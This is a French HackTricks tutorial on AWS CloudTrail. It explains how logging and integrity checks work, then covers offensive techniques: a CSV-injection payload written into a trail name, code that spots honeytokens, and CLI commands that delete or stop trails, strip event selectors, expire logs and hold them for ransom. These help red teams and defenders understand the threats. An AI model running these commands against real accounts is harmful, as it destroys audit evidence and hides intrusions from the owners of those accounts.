AWS - CloudTrail Enum

Reading time: 14 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

CloudTrail

AWS CloudTrail enregistre et surveille l'activitĂ© au sein de votre environnement AWS. Il capture des journaux d'Ă©vĂ©nements dĂ©taillĂ©s, y compris qui a fait quoi, quand et d'oĂč, pour toutes les interactions avec les ressources AWS. Cela fournit une piste d'audit des changements et des actions, aidant Ă  l'analyse de sĂ©curitĂ©, Ă  l'audit de conformitĂ© et au suivi des changements de ressources. CloudTrail est essentiel pour comprendre le comportement des utilisateurs et des ressources, amĂ©liorer les postures de sĂ©curitĂ© et garantir la conformitĂ© rĂ©glementaire.

Chaque événement enregistré contient :

  • Le nom de l'API appelĂ©e : eventName
  • Le service appelĂ© : eventSource
  • L'heure : eventTime
  • L'adresse IP : SourceIPAddress
  • La mĂ©thode de l'agent : userAgent. Exemples :
  • Signing.amazonaws.com - Depuis la console de gestion AWS
  • console.amazonaws.com - Utilisateur root du compte
  • lambda.amazonaws.com - AWS Lambda
  • Les paramĂštres de la requĂȘte : requestParameters
  • Les Ă©lĂ©ments de la rĂ©ponse : responseElements

Les événements sont écrits dans un nouveau fichier journal environ toutes les 5 minutes dans un fichier JSON, ils sont conservés par CloudTrail et enfin, les fichiers journaux sont livrés à S3 environ 15 minutes aprÚs.
Les journaux de CloudTrail peuvent ĂȘtre agrĂ©gĂ©s Ă  travers les comptes et les rĂ©gions.
CloudTrail permet d'utiliser l'intégrité des fichiers journaux afin de pouvoir vérifier que vos fichiers journaux sont restés inchangés depuis que CloudTrail vous les a livrés. Il crée un hachage SHA-256 des journaux à l'intérieur d'un fichier de résumé. Un hachage sha-256 des nouveaux journaux est créé chaque heure.
Lors de la création d'un Trail, les sélecteurs d'événements vous permettront d'indiquer le type d'événements à enregistrer : événements de gestion, de données ou d'informations.

Les journaux sont sauvegardés dans un bucket S3. Par défaut, le chiffrement cÎté serveur est utilisé (SSE-S3) donc AWS déchiffrera le contenu pour les personnes qui y ont accÚs, mais pour une sécurité supplémentaire, vous pouvez utiliser SSE avec KMS et vos propres clés.

Les journaux sont stockés dans un bucket S3 avec ce format de nom :

  • BucketName/AWSLogs/AccountID/CloudTrail/RegionName/YYY/MM/DD
  • Le BucketName Ă©tant : aws-cloudtrail-logs-<accountid>-<random>
  • Exemple : aws-cloudtrail-logs-947247140022-ffb95fe7/AWSLogs/947247140022/CloudTrail/ap-south-1/2023/02/22/

À l'intĂ©rieur de chaque dossier, chaque journal aura un nom suivant ce format : AccountID_CloudTrail_RegionName_YYYYMMDDTHHMMZ_Random.json.gz

Convention de nommage des fichiers journaux

De plus, les fichiers de rĂ©sumĂ© (pour vĂ©rifier l'intĂ©gritĂ© des fichiers) seront Ă  l'intĂ©rieur du mĂȘme bucket dans :

Agréger les journaux de plusieurs comptes

  • CrĂ©ez un Trail dans le compte AWS oĂč vous souhaitez que les fichiers journaux soient livrĂ©s
  • Appliquez des autorisations au bucket S3 de destination permettant l'accĂšs inter-comptes pour CloudTrail et autorisez chaque compte AWS qui a besoin d'accĂšs
  • CrĂ©ez un nouveau Trail dans les autres comptes AWS et sĂ©lectionnez d'utiliser le bucket créé Ă  l'Ă©tape 1

Cependant, mĂȘme si vous pouvez sauvegarder tous les journaux dans le mĂȘme bucket S3, vous ne pouvez pas agrĂ©ger les journaux CloudTrail de plusieurs comptes dans des journaux CloudWatch appartenant Ă  un seul compte AWS.

caution

N'oubliez pas qu'un compte peut avoir diffĂ©rents Trails de CloudTrail activĂ©s stockant les mĂȘmes (ou diffĂ©rents) journaux dans diffĂ©rents buckets.

CloudTrail de tous les comptes d'organisation en 1

Lors de la création d'un CloudTrail, il est possible d'indiquer d'activer CloudTrail pour tous les comptes de l'organisation et de récupérer les journaux dans un seul bucket :

De cette maniÚre, vous pouvez facilement configurer CloudTrail dans toutes les régions de tous les comptes et centraliser les journaux dans 1 compte (que vous devez protéger).

Vérification des fichiers journaux

Vous pouvez vérifier que les journaux n'ont pas été altérés en exécutant

javascript
aws cloudtrail validate-logs --trail-arn <trailARN> --start-time <start-time> [--end-time <end-time>] [--s3-bucket <bucket-name>] [--s3-prefix <prefix>] [--verbose]

Logs to CloudWatch

CloudTrail peut automatiquement envoyer des journaux à CloudWatch afin que vous puissiez définir des alertes qui vous avertissent lorsque des activités suspectes sont effectuées.
Notez que pour permettre Ă  CloudTrail d'envoyer les journaux Ă  CloudWatch, un rĂŽle doit ĂȘtre créé pour autoriser cette action. Si possible, il est recommandĂ© d'utiliser le rĂŽle par dĂ©faut d'AWS pour effectuer ces actions. Ce rĂŽle permettra Ă  CloudTrail de :

  • CreateLogStream : Cela permet de crĂ©er des flux de journaux CloudWatch Logs
  • PutLogEvents : Livrer les journaux CloudTrail au flux de journaux CloudWatch Logs

Event History

L'historique des événements CloudTrail vous permet d'inspecter dans un tableau les journaux qui ont été enregistrés :

Insights

CloudTrail Insights analyse automatiquement les événements de gestion d'écriture des pistes CloudTrail et vous alerte sur des activités inhabituelles. Par exemple, s'il y a une augmentation des événements TerminateInstance qui diffÚre des bases établies, vous le verrez comme un événement Insight. Ces événements facilitent la recherche et la réponse à des activités API inhabituelles comme jamais auparavant.

Les insights sont stockĂ©s dans le mĂȘme bucket que les journaux CloudTrail dans : BucketName/AWSLogs/AccountID/CloudTrail-Insight

Security

Control NameImplementation Details
CloudTrail Log File Integrity
  • Valider si les journaux ont Ă©tĂ© altĂ©rĂ©s (modifiĂ©s ou supprimĂ©s)
  • Utilise des fichiers de rĂ©sumĂ© (crĂ©e un hachage pour chaque fichier)

    • Hachage SHA-256
    • SHA-256 avec RSA pour la signature numĂ©rique
    • clĂ© privĂ©e dĂ©tenue par Amazon
  • Prend 1 heure pour crĂ©er un fichier de rĂ©sumĂ© (fait Ă  l'heure chaque heure)
Stop unauthorized access
  • Utiliser des politiques IAM et des politiques de bucket S3

    • Ă©quipe de sĂ©curitĂ© —> accĂšs administrateur
    • auditeurs —> accĂšs en lecture seule
  • Utiliser SSE-S3/SSE-KMS pour chiffrer les journaux
Prevent log files from being deleted
  • Restreindre l'accĂšs Ă  la suppression avec IAM et les politiques de bucket
  • Configurer la suppression MFA S3
  • Valider avec la validation des fichiers journaux

Access Advisor

AWS Access Advisor s'appuie sur les 400 derniers jours de journaux CloudTrail AWS pour rassembler ses insights. CloudTrail capture un historique des appels API AWS et des événements connexes effectués dans un compte AWS. Access Advisor utilise ces données pour montrer quand les services ont été accédés pour la derniÚre fois. En analysant les journaux CloudTrail, Access Advisor peut déterminer quels services AWS un utilisateur ou un rÎle IAM a accédés et quand cet accÚs a eu lieu. Cela aide les administrateurs AWS à prendre des décisions éclairées sur l'affinement des autorisations, car ils peuvent identifier les services qui n'ont pas été accédés pendant de longues périodes et potentiellement réduire des autorisations trop larges en fonction des modÚles d'utilisation réels.

tip

Par conséquent, Access Advisor informe sur les autorisations inutiles accordées aux utilisateurs afin que l'administrateur puisse les supprimer

Actions

Enumeration

bash
# Get trails info
aws cloudtrail list-trails
aws cloudtrail describe-trails
aws cloudtrail list-public-keys
aws cloudtrail get-event-selectors --trail-name <trail_name>
aws [--region us-east-1] cloudtrail get-trail-status --name [default]

# Get insights
aws cloudtrail get-insight-selectors --trail-name <trail_name>

# Get data store info
aws cloudtrail list-event-data-stores
aws cloudtrail list-queries --event-data-store <data-source>
aws cloudtrail get-query-results --event-data-store <data-source> --query-id <id>

Injection CSV

Il est possible d'effectuer une injection CSV dans CloudTrail qui exécutera du code arbitraire si les journaux sont exportés en CSV et ouverts avec Excel.
Le code suivant générera une entrée de journal avec un mauvais nom de Trail contenant la charge utile :

python
import boto3
payload = "=cmd|'/C calc'|''"
client = boto3.client('cloudtrail')
response = client.create_trail(
Name=payload,
S3BucketName="random"
)
print(response)

Pour plus d'informations sur les injections CSV, consultez la page :

Formula/CSV/Doc/LaTeX/GhostScript Injection - HackTricks

Pour plus d'informations sur cette technique spécifique, consultez https://rhinosecuritylabs.com/aws/cloud-security-csv-injection-aws-cloudtrail/

Contourner la Détection

Bypass des HoneyTokens

Les Honeytokens sont créés pour détecter l'exfiltration d'informations sensibles. Dans le cas d'AWS, ce sont des clés AWS dont l'utilisation est surveillée ; si quelque chose déclenche une action avec cette clé, alors quelqu'un doit avoir volé cette clé.

Cependant, les Honeytokens comme ceux créés par Canarytokens, SpaceCrab, SpaceSiren utilisent soit un nom de compte reconnaissable, soit le mĂȘme ID de compte AWS pour tous leurs clients. Par consĂ©quent, si vous pouvez obtenir le nom du compte et/ou l'ID du compte sans faire crĂ©er de journal par Cloudtrail, vous pourriez savoir si la clĂ© est un honeytoken ou non.

Pacu a quelques rÚgles pour détecter si une clé appartient à Canarytokens, SpaceCrab, SpaceSiren:

  • Si canarytokens.org apparaĂźt dans le nom du rĂŽle ou si l'ID de compte 534261010715 apparaĂźt dans le message d'erreur.
  • En les testant plus rĂ©cemment, ils utilisent le compte 717712589309 et ont toujours la chaĂźne canarytokens.com dans le nom.
  • Si SpaceCrab apparaĂźt dans le nom du rĂŽle dans le message d'erreur.
  • SpaceSiren utilise des uuids pour gĂ©nĂ©rer des noms d'utilisateur : [a-f0-9]{8}-[a-f0-9]{4}-4[a-f0-9]{3}-[89aAbB][a-f0-9]{3}-[a-f0-9]{12}
  • Si le nom semble alĂ©atoirement gĂ©nĂ©rĂ©, il y a de fortes probabilitĂ©s que ce soit un HoneyToken.

Obtenir l'ID de compte à partir de l'ID de clé

Vous pouvez obtenir l'ID de compte à partir de l'encodage à l'intérieur de la clé d'accÚs comme expliqué ici et vérifier l'ID de compte avec votre liste de comptes Honeytokens AWS :

python
import base64
import binascii

def AWSAccount_from_AWSKeyID(AWSKeyID):

trimmed_AWSKeyID = AWSKeyID[4:] #remove KeyID prefix
x = base64.b32decode(trimmed_AWSKeyID) #base32 decode
y = x[0:6]

z = int.from_bytes(y, byteorder='big', signed=False)
mask = int.from_bytes(binascii.unhexlify(b'7fffffffff80'), byteorder='big', signed=False)

e = (z & mask)>>7
return (e)

print("account id:" + "{:012d}".format(AWSAccount_from_AWSKeyID("ASIAQNZGKIQY56JQ7WML")))

Vérifiez plus d'informations dans la recherche originale.

Ne pas générer de journal

La technique la plus efficace pour cela est en fait une simple. Utilisez simplement la clé que vous venez de trouver pour accéder à un service dans votre propre compte d'attaquant. Cela fera en sorte que CloudTrail génÚre un journal dans VOTRE PROPRE compte AWS et non dans celui des victimes.

Le fait est que la sortie vous montrera une erreur indiquant l'ID du compte et le nom du compte, donc vous pourrez voir si c'est un Honeytoken.

Services AWS sans journaux

Dans le passé, il y avait certains services AWS qui n'envoient pas de journaux à CloudTrail (trouvez une liste ici). Certains de ces services répondront avec une erreur contenant l'ARN du rÎle clé si quelqu'un non autorisé (la clé honeytoken) essaie d'y accéder.

De cette maniÚre, un attaquant peut obtenir l'ARN de la clé sans déclencher aucun journal. Dans l'ARN, l'attaquant peut voir l'ID du compte AWS et le nom, il est facile de connaßtre l'ID et les noms des comptes des entreprises du HoneyToken, ainsi un attaquant peut identifier si le token est un HoneyToken.

caution

Notez que toutes les API publiques dĂ©couvertes ne crĂ©ant pas de journaux CloudTrail sont maintenant corrigĂ©es, donc vous devrez peut-ĂȘtre trouver les vĂŽtres...

Pour plus d'informations, consultez la recherche originale.

Accéder à une infrastructure tierce

Certains services AWS généreront une infrastructure telle que des bases de données ou des clusters Kubernetes (EKS). Un utilisateur parlant directement à ces services (comme l'API Kubernetes) n'utilisera pas l'API AWS, donc CloudTrail ne pourra pas voir cette communication.

Par consĂ©quent, un utilisateur ayant accĂšs Ă  EKS qui a dĂ©couvert l'URL de l'API EKS pourrait gĂ©nĂ©rer un token localement et parler directement au service API sans ĂȘtre dĂ©tectĂ© par CloudTrail.

Plus d'infos dans :

AWS - EKS Post Exploitation

Modification de la configuration de CloudTrail

Supprimer des pistes

bash
aws cloudtrail delete-trail --name [trail-name]

ArrĂȘter les pistes

bash
aws cloudtrail stop-logging --name [trail-name]

Désactiver la journalisation multi-région

bash
aws cloudtrail update-trail --name [trail-name] --no-is-multi-region --no-include-global-services

Désactiver la journalisation par sélecteurs d'événements

bash
# Leave only the ReadOnly selector
aws cloudtrail put-event-selectors --trail-name <trail_name> --event-selectors '[{"ReadWriteType": "ReadOnly"}]' --region <region>

# Remove all selectors (stop Insights)
aws cloudtrail put-event-selectors --trail-name <trail_name> --event-selectors '[]' --region <region>

Dans le premier exemple, un seul sélecteur d'événements est fourni sous forme de tableau JSON avec un seul objet. Le "ReadWriteType": "ReadOnly" indique que le sélecteur d'événements ne doit capturer que des événements en lecture seule (donc les insights de CloudTrail ne vérifieront pas les événements d'écriture par exemple).

Vous pouvez personnaliser le sélecteur d'événements en fonction de vos exigences spécifiques.

Suppression des journaux via la politique de cycle de vie S3

bash
aws s3api put-bucket-lifecycle --bucket <bucket_name> --lifecycle-configuration '{"Rules": [{"Status": "Enabled", "Prefix": "", "Expiration": {"Days": 7}}]}' --region <region>

Modification de la configuration du bucket

  • Supprimer le bucket S3
  • Changer la politique du bucket pour interdire toute Ă©criture du service CloudTrail
  • Ajouter une politique de cycle de vie au bucket S3 pour supprimer des objets
  • DĂ©sactiver la clĂ© KMS utilisĂ©e pour chiffrer les journaux CloudTrail

Ransomware Cloudtrail

Ransomware S3

Vous pourriez gĂ©nĂ©rer une clĂ© asymĂ©trique et faire en sorte que CloudTrail chiffre les donnĂ©es avec cette clĂ© et supprimer la clĂ© privĂ©e afin que le contenu de CloudTrail ne puisse pas ĂȘtre rĂ©cupĂ©rĂ©.
C'est essentiellement un ransomware S3-KMS expliqué dans :

AWS - S3 Post Exploitation

Ransomware KMS

C'est la maniÚre la plus simple d'effectuer l'attaque précédente avec des exigences de permissions différentes :

AWS - KMS Post Exploitation

Références

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks